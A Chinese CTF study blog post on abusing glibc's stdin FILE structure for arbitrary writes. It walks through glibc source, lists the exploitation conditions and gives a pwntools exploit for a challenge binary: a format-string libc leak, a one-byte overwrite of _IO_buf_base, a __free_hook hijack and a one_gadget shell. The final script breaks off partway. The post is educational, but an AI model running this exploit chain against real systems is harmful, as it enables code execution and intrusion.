【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写

我们知道,stdin会往“缓冲区”先读入数据,如果我们劫持这个所谓“缓冲区”到其他地址呢?是否可以读入数据到任意地址?答案是肯定的。

注意!代码中的“-------”分隔,是为了区分一条调用链上不同代码片段,此外没有其他含义

目录

前言

一、_IO_2_1_stdin读入链,及利用思路

(一)_IO_file_xsgetn相关源码分析与条件绕过 

(二)__underflow相关源码分析与条件绕过

(三)利用条件总结 

二、利用图示

三、从一道题学习stdin任意地址写 

(一)格式化字符串泄露libc 

(二)_IO_buf_base处写一个字节'\x00' 

​(三)写入__free_hook指针,准备修改

(四)写入ogg,不断调试

四、exp 


前言

不直接调用sys_read,而是通过IO_FILE结构,通过设置缓冲区来减小频繁系统调用开销。我们将从IO_FILE相关结构分析,了解这一模式,再探讨利用标准输入(以及_IO_2_1_stdin)劫持所谓的缓冲区到任意地址,实现任意地址写。


一、_IO_2_1_stdin读入链,及利用思路

从【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-CSDN博客

我们已经事先分析过通过fread简单分析了_IO_2_1_stdin读入的调用链和基本过程。在这里简单再复述一下,不过从关键函数开始:

extern struct _IO_FILE_plus _IO_2_1_stdin

这个和标准输入相关的_IO_FILE_plus结构体的vtable指向一个固定的虚函数表:

#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \&_IO_file_jumps};DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);const struct _IO_jump_t _IO_file_jumps =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_new_file_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, _IO_new_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

以读入函数scanf为例

int
attribute_hidden
scanf (const char *fmt, ...)
{va_list arg;int done;va_start (arg, fmt);done = __nldbl__IO_vfscanf (stdin, fmt, arg, NULL);va_end (arg);return done;
}
-----------------------------------------------------------
int
attribute_compat_text_section
__nldbl__IO_vfscanf (FILE *s, const char *fmt, _IO_va_list ap,int *errp)
{int res;set_no_long_double ();res = _IO_vfscanf (s, fmt, ap, errp);clear_no_long_double ();return res;
}
-----------------------------------------------------------
// 最后调用_IO_file_jumps中的_IO_file_xsgetn函数

让我们关键分析IO_FILE虚表函数操作内部的具体过程

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{_IO_size_t want, have;_IO_ssize_t count;char *s = data;want = n;if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer.  */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}while (want > 0){have = fp->_IO_read_end - fp->_IO_read_ptr;if (want <= have){memcpy (s, fp->_IO_read_ptr, want);fp->_IO_read_ptr += want;want = 0;}else{if (have > 0){
#ifdef _LIBCs = __mempcpy (s, fp->_IO_read_ptr, have);
#elsememcpy (s, fp->_IO_read_ptr, have);s += have;
#endifwant -= have;fp->_IO_read_ptr += have;}/* Check for backup and repeat */if (_IO_in_backup (fp)){_IO_switch_to_main_get_area (fp);continue;}/* If we now want less than a buffer, underflow and repeatthe copy.  Otherwise, _IO_SYSREAD directly tothe user buffer. */if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)){if (__underflow (fp) == EOF)break;continue;}/* These must be set before the sysread as we might longjmp outwaiting for input. */_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);/* Try to maintain alignment: read a whole number of blocks.  */count = want;if (fp->_IO_buf_base){_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;if (block_size >= 128)count -= want % block_size;}count = _IO_SYSREAD (fp, s, count);if (count <= 0){if (count == 0)fp->_flags |= _IO_EOF_SEEN;elsefp->_flags |= _IO_ERR_SEEN;break;}s += count;want -= count;if (fp->_offset != _IO_pos_BAD)_IO_pos_adjust (fp->_offset, count);}}return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

(一)_IO_file_xsgetn相关源码分析与条件绕过 

1、如果_IO_buf_base == NULL,则会进行初始化的操作,这是我们需要避免的,否则控制相关指针已经没有意义

  if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer.  */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}

 2、如果 fp->_IO_read_end > fp->_IO_read_ptr 会将缓冲区中对应的数据复制到目标地址中,为了避免因为这个出现不必要的问题,最好令 fp->_IO_read_end = fp >_IO_read_ptr

{...have = fp->_IO_read_end - fp->_IO_read_ptr;  // 已经读入缓冲区且还没写入到目标地址的字节数if (want <= have) // 需要的字节数小于已经读入的字节数,则使用memcpy将缓冲区的一部分数据拷贝到目标地址{memcpy (s, fp->_IO_read_ptr, want); // 已经读入足够的数据,直接拷贝fp->_IO_read_ptr += want;want = 0;}else // 否则还需要往缓冲区内读入数据{if (have > 0) // 如果存在,在IO缓冲区、但尚未写入到目标地址的数据,则先将已有的数据拷贝{
#ifdef _LIBCs = __mempcpy (s, fp->_IO_read_ptr, have);
#elsememcpy (s, fp->_IO_read_ptr, have); // 将缓冲区已有的数据拷贝到ss += have;
#endifwant -= have;fp->_IO_read_ptr += have;}...}...
}

3、如果需要的数据大于缓冲区数据,则直接使用sys_read读入到目标地址s,这也是我们要避免的。因此_IO_buf_end和_IO_buf_base之间距离要合适

while(want>0)
{...if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 读入的数据长度如果大于缓冲区大小会采用sysread直接读入的方式,否则用underflow{...}...count = _IO_SYSREAD (fp, s, count);...
}

4、对于3的另一个分支,即,如果需要的数据小于缓冲区数据,则调用underflow填充缓冲区,这是我们需要的执行路线

	  if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 读入的数据长度如果大于缓冲区大小会采用sysread直接读入的方式,否则用underflow{if (__underflow (fp) == EOF) // underflow函数用于在缓冲区为空时,从文件中读取新的数据并填充到缓冲区中,以便后续的读操作可以继续进行break;continue;}

最后呢是进入了__underflow,对缓冲区进行一个填充。我们接下来关注这部分代码的调用链关系。 

(二)__underflow相关源码分析与条件绕过

int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_Tif (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)return EOF;
#endifif (fp->_mode == 0)_IO_fwide (fp, -1);if (_IO_in_put_mode (fp))if (_IO_switch_to_get_mode (fp) == EOF)return EOF;if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;if (_IO_in_backup (fp)){_IO_switch_to_main_get_area (fp);if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;}if (_IO_have_markers (fp)){if (save_for_backup (fp, fp->_IO_read_end))return EOF;}else if (_IO_have_backup (fp))_IO_free_backup_area (fp);return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
--------------------------------------------------------------------------
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
--------------------------------------------------------------------------
const struct _IO_jump_t _IO_file_jumps =
{...JUMP_INIT(underflow, _IO_file_underflow),...
}
--------------------------------------------------------------------------
# define _IO_new_file_underflow _IO_file_underflow
--------------------------------------------------------------------------
int
_IO_new_file_underflow (_IO_FILE *fp)
{_IO_ssize_t count;
#if 0/* SysV does not make this test; take it out for compatibility */if (fp->_flags & _IO_EOF_SEEN)return (EOF);
#endifif (fp->_flags & _IO_NO_READS){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return EOF;}if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer.  */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}/* Flush all line buffered files before reading. *//* FIXME This can/should be moved to genops ?? */if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)){
#if 0_IO_flush_all_linebuffered ();
#else/* We used to flush all line-buffered stream.  This really isn'trequired by any standard.  My recollection is thattraditional Unix systems did this for stdout.  stderr betternot be line buffered.  So we do just that hereexplicitly.  --drepper */_IO_acquire_lock (_IO_stdout);if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))== (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF);_IO_release_lock (_IO_stdout);
#endif}_IO_switch_to_get_mode (fp);/* This is very tricky. We have to adjust thosepointers before we call _IO_SYSREAD () sincewe may longjump () out while waiting forinput. Those pointers may be screwed up. H.J. */fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;fp->_IO_read_end = fp->_IO_buf_base;fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end= fp->_IO_buf_base;count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);if (count <= 0){if (count == 0)fp->_flags |= _IO_EOF_SEEN;elsefp->_flags |= _IO_ERR_SEEN, count = 0;}fp->_IO_read_end += count;if (count == 0){/* If a stream is read to EOF, the calling application may switch activehandles.  As a result, our offset cache would no longer be valid, sounset it.  */fp->_offset = _IO_pos_BAD;return EOF;}if (fp->_offset != _IO_pos_BAD)_IO_pos_adjust (fp->_offset, count);return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

经过一系列判断和调用,利用标准输入的__underflow,实际上调用了__IO_new_file_underflow实现相关功能。为此我们对该函数进行具体分析:

1、_IO_NO_READS不能置位

#define _IO_NO_READS 4 /* Reading not allowed */
------------------------------------------------------if (fp->_flags & _IO_NO_READS){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return EOF;}

2、 _IO_LINE_BUF和_IO_UNBUFFERED最好不置位,但有时候好像也无影响

#define _IO_LINE_BUF 0x200
#define _IO_UNBUFFERED 2
------------------------------------------------------if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) // 检查文件流是否是行缓冲或无缓冲流,是的话执行特定刷新操作{
#if 0_IO_flush_all_linebuffered ();
#else/* We used to flush all line-buffered stream.  This really isn'trequired by any standard.  My recollection is thattraditional Unix systems did this for stdout.  stderr betternot be line buffered.  So we do just that hereexplicitly.  --drepper */_IO_acquire_lock (_IO_stdout);if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))== (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF);_IO_release_lock (_IO_stdout);
#endif}

3、设置好缓冲区指针,然后往缓冲区读入数据。如果劫持_IO_buf_base,就可以实现任意地址写;当然,隐含条件是fp->_fileno=0,即stdin

  /* This is very tricky. We have to adjust thosepointers before we call _IO_SYSREAD () sincewe may longjump () out while waiting forinput. Those pointers may be screwed up. H.J. */fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;fp->_IO_read_end = fp->_IO_buf_base;fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end= fp->_IO_buf_base;count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);

(三)利用条件总结 

将上述条件综合表述为:

  1. 设置 _IO_read_end 等于 _IO_read_ptr 。
  2. 设置 _flag &~ ( _IO_NO_READS | _IO_LINE_BUF | _IO_UNBUFFERED ) 即 _flag &~ 0x206(后两个置位有时候不影响)。
  3. 设置 _fileno 为 0 ,表示读入数据的来源是 stdin 。
  4. 设置 _IO_buf_base 为 write_start ,_IO_buf_end 为 write_end ;
  5. 设置使得 _IO_buf_end - _IO_buf_base 大于要读的数据。

二、利用图示

我们知道,利用缓冲区,是为了避免进行频繁系统调用耗费资源。

类似于从海上进货,不可能每次需要多少就让多少船承载多少来;而是尽量装的满满的,虽然你只需要一点,但是多的我可以存在码头仓库,你需要更多直接在仓库拿就好;仓库用完了,再让船满载进货... ...

因此一开始,会SYS_READ数据到缓冲区,也即“仓库” 

而取了多少货呢?这就是从base到_IO_read_ptr指向的区域

如果我们劫持_IO_buf_base和_IO_buf_end

下一次stdin时,就会重新置位指针

然后就可以往目标地址进行写数据

三、从一道题学习stdin任意地址写 

本题的思路是:

  1. 利用格式化字符串漏洞泄露libc
  2. 通过溢出覆盖局部变量,在_IO_buf_base处写一个字节'\x00' 
  3. 再次读入可修改_IO_2_1_stdin的相关数据,再次修改_IO_buf_base到__free_hook
  4. 再次输入(但不是read)写入ogg

(一)格式化字符串泄露libc 

没什么技术含量,也不是本篇博客技术重点

### leak libc
# io.sendlineafter(b"name:",b'%p'*40+b'ABCDEFGH')
io.sendlineafter(b"name:",b'%p'*34+b'ABCDEFGH')
gdb.attach(io)
# print(io.recv())
libc.address=int(io.recvuntil(b'ABCDEFGH',drop=True)[-14:],16)-0x20730
success(hex(libc.address))

(二)_IO_buf_base处写一个字节'\x00' 

接下来通过栈溢出覆盖关键指针,使得在_IO_write_base上写一个字节'\x00'

### write one byte '\x00' at _IO_2_1_stdin_.file._IO_buf_base
io.sendlineafter(b'(1:yes):',b'0')
io.sendlineafter(b"name:",b'a'*80+p64(libc.address+0x39b918))
io.sendlineafter(b'(1:yes):',b'1')
io.sendlineafter(b'message:',b'bbbb')

接下类通过_IO_2_1_stdin_的读入操作,就会重新置位_IO_read_*相关指针往缓冲区内写数据

 (三)写入__free_hook指针,准备修改

### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)

但是注意,我们之前总结的一些条件已经不满足了,例如_IO_read_ptr和_IO_read_end不同了。IO已经被打坏了,这意味着我们需要一些技巧继续利用 

(四)写入ogg,不断调试

这时候IO已经坏了,可能要缓冲很多才会进行复制。我们利用pwndbg的cyclic生成垃圾字节,通过最终跳转来确认合适的偏移 

payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj'
io.sendlineafter(b'message:',payload)
io.sendline(b'1\n'*100)

然而

我们发现由于_IO_buf_base和_IO_buf_end恰好设置在__free_hook,所以读入的这么多数据,大多都会经过这一块缓冲区缓存,所以后面的一连串'1\n',又重新覆写了__free_hook了。为此我们调整一下_IO_buf_base和_IO_buf_end的位置 

### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
# payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload+=p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['__free_hook']+0x10)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)

然后继续 

可以看到,通过__free_hook跳转到了某个区域,接下来我们将这个区域替换成deadbeef验证

payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat'
payload=payload.replace(b'waaaaaae',b'deadbeef')

可以看到,我们已经控制了__free_hook。接下来填充ogg 

payload=b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaaj'
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
oggs=[i+libc.address for i in [0x3f3e6,0x3f43a,0xd5c07]]
payload=payload.replace(b'waaaaaae',p64(oggs[1]))

 但是看到execve时参数有问题,看了一眼是咱们之前覆写栈指针时填充的'a',将其改为0

# io.sendlineafter(b"name:",b'a'*80+p64(libc.address+0x39b918))
io.sendlineafter(b"name:",b'\x00'*80+p64(libc.address+0x39b918))

 再次执行

 

成功getshell

四、exp 

题目来自看雪

exp:

from pwn import *context.log_level='debug'
context.arch='amd64'
io=process("./pwn")
libc=ELF("./libc-2.23.so")
io.sendlineafter(b'Size:',b'32')### leak libc
io.sendlineafter(b"name:",b'%p'*34+b'ABCDEFGH')
# print(io.recv())
libc.address=int(io.recvuntil(b'ABCDEFGH',drop=True)[-14:],16)-0x20730
success(hex(libc.address))### write one byte '\x00' at _IO_2_1_stdin.file._IO_buf_base
io.sendlineafter(b'(1:yes):',b'0')
io.sendlineafter(b"name:",b'\x00'*80+p64(libc.address+0x39b918))
io.sendlineafter(b'(1:yes):',b'1')
io.sendlineafter(b'message:',b'bbbb')### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
# payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload+=p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['__free_hook']+0x10)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)
gdb.attach(io,'b free\nc')
sleep(0.5)### write
payload=b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaaj'
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
